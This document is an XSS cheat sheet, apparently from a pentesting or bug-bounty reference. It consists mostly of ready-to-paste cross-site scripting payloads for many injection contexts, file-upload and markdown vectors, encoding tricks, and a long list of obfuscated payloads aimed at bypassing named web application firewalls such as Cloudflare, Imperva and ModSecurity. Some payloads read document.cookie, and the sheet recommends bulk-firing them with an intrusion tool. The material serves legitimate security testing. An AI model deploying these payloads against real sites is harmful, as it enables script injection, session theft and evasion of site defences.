XSS Cheat Sheet (Basic)

Introduction

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack:

• Reflected XSS

  Attack where the malicious script runs from another website through the web browser

• Stored XSS

  Stored attacks are those where the injected script is permanently stored on the target servers

• DOM-Based XSS

  A type of XSS that has payloads found in the DOM rather than within the HTML code.

Also a regularly updated cheatsheet of XSS by PortSwigger

Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security AcademyWebSecAcademy

A tip would be to simple copy all the payloads {All tags -> All Events -> All Browsers} and run in Intruder

Where to find

This vulnerability can appear in all features of the application. If you want to find Dom-based XSS, you can find it by reading the javascript source code.

How to exploit

1. Basic payload

<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>

1. Add ' or " to escape the payload from value of an HTML tag

"><script>alert(1)</script>
'><script>alert(1)</script> 

• Example source code

<input id="keyword" type="text" name="q" value="REFLECTED_HERE">

• After input the payload

<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>

1. Add --> to escape the payload if input lands in HTML comments.

--><script>alert(1)</script>

• Example source code

<!-- REFLECTED_HERE --> 

• After input the payload

<!-- --><script>alert(1)</script> -->

1. Add when the input inside or between opening/closing tags, tag can be <a>,<title>,<script> and any other HTML tags

</tag><script>alert(1)</script>
"></tag><script>alert(1)</script>

• Example source code

<a href="https://target.com/1?status=REFLECTED_HERE">1</a>

• After input the payload

<a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>

1. Use when input inside an attribute’s value of an HTML tag but > is filtered

" onmouseover=alert(1)
" autofocus onfocus=alert(1)

• Example source code

<input id="keyword" type="text" name="q" value="REFLECTED_HERE">

• After input the payload

<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">

1. Use when input inside <script> tags

</script><script>alert(1)</script>

• Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

• After input the payload

<script>
    var sitekey = '</script><script>alert(1)</script>';
</script>

XSS Cheat Sheet (Advanced)

1. Use when input lands in a script block, inside a string delimited value.

'-alert(1)-'
'/alert(1)//

• Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

• After input the payload

<script>
    var sitekey = ''-alert(1)-'';
</script>

1. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.

\'alert(1)//

• Example source code

<script>
    var sitekey = 'REFLECTED_HERE';
</script>

• If we input payload '-alert(1)-' it will be like this

<script>
    var sitekey = '\'-alert(1)-\'';
</script>

The quotes are escaped by a backslash so we need to bypass them

• After input the payload

<script>
    var sitekey = '\\'alert(1)//';
</script>

1. Use when there’s multi reflection in the same line of JS code

/alert(1)//\
/alert(1)}//\

• Example source code

<script>
    var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
</script>

• After input the payload

<script>
    var a = '/alert(1)//\'; var b = '/alert(1)//\';
</script>

1. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc).

'}alert(1);{'
\'}alert(1);{// 

• Example source code

<script>
    var greeting;
    var time = 1;
    if (time < 10) {
    test = 'REFLECTED_HERE';
  }
</script>

• After input the payload

<script>
    var test;
    var time = 1;
    if (time < 10) {
    test = ''}alert(1);{'';
  }
</script>

Payload number 2 uses when quote escaped by backslash

1. Use when input lands inside backticks delimited strings

${alert(1)}

• Example source code

<script>
    var dapos = `REFLECTED_HERE`;
</script>

• After input the payload

<script>
    var dapos = `${alert(1)}`;
</script>

1. Uses when there is multiple reflections on same page. (Double Reflection)

'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

• After input the payload

<!DOCTYPE html>
<html>
<body>
'onload=alert(1)><svg/1='
...
'onload=alert(1)><svg/1='
</body>
</html>

1. Uses when there is multiple reflections on same page. (Triple Reflection)

*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

• After input the payload

<!DOCTYPE html>
<html>
<body>
*/alert(1)">'onload="/*<svg/1='
...
*/alert(1)">'onload="/*<svg/1='
...
*/alert(1)">'onload="/*<svg/1='
</body>
</html>

1. XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page

"><svg onload=alert(1)>.jpeg

1. XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool)

$ exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg

1. XSS with SVG file (File Upload)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

1. XSS via markdown

[Click Me](javascript:alert('1'))

1. XSS in XML page

<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>

Add a "-->" to payload if input lands in a comment section

Add a "]]>" if input lands in a CDATA section

XSS Cheat Sheet (Bypass)

1. Mixed Case

<Script>alert(document.cookie)</Script> 

1. Unclosed Tags

<svg onload="alert(1)"

1. Uppercase Payloads

<SVG ONLOAD=ALERT(1)>

1. Encoded XSS

(Encoded)
%3Csvg%20onload%3Dalert(1)%3E 

(Double Encoded)
%253Csvg%2520onload%253Dalert%281%29%253E 

(Triple Encoded)
%25253Csvg%252520onload%25253Dalert%25281%2529%25253E 

1. JS Lowercased Input

<SCRİPT>alert(1)</SCRİPT>

1. PHP Email Validation Bypass

<svg/onload=alert(1)>"@gmail.com

1. PHP URL Validation Bypass

javascript://%250Aalert(1)

1. Inside Comments Bypass

<!--><svg onload=alert(1)-->

Bypass WAF

1. Cloudflare

<svg%0Aonauxclick=0;[1].some(confirm)//

<svg/onload={alert`1`}>

<a/href=j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;>

"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;

"><onx=[] onmouseover=prompt(1)>

%2sscript%2ualert()%2s/script%2u

"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))

[1].map(confirm)'ale'+'rt'()a&Tab;l&Tab;e&Tab;r&Tab;t(1)prompt&lpar;1&rpar;prompt&#40;1&#41;prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``)

<svg onload=alert%26%230000000040"1")>

<svg onload=prompt%26%230000000040document.domain)>

<svg onload=prompt%26%23x000000028;document.domain)>

<svg/onrandom=random onload=confirm(1)>

<video onnull=null onmouseover=confirm(1)>

<a id=x tabindex=1 onbeforedeactivate=print(`XSS`)></a><input autofocus>

<img ignored=() src=x onerror=prompt(1)>

<svg onx=() onload=(confirm)(1)>

<--`<img/src=` onerror=confirm``> --!>

<img src=x onerror="a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]](document.domain)">

<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x

'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>

'"><img/src/onerror=.1|alert``>

:javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie

Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();

1. Cloudfront

">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>

<--`<img%2fsrc%3d` onerror%3dalert(document.domain)> --!>

"><--<img+src= "><svg/onload+alert(document.domain)>> --!>

1. Cloudbric

<a69/onclick=[1].findIndex(alert)>pew

1. Comodo WAF

<input/oninput='new Function`confir\u006d\`0\``'>

<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme

1. ModSecurity

<a href="jav%0Dascript&colon;alert(1)">

1. Imperva

<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>

<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme

<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click

<a69/onclick=write&lpar;&rpar;>pew

<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>

<svg onload\r\n=$.globalEval("al"+"ert()");>

<svg/onload=self[`aler`%2b`t`]`1`>

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>

<img/src=q onerror='new Function`al\ert\`1\``'>

<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

1. AWS

<script>eval(atob(decodeURIComponent(confirm`1`)))</script>

If you want to see the other payload for other WAF, check this link

References

• Brute Logic

• Awesome-WAF

• Some random twitter posts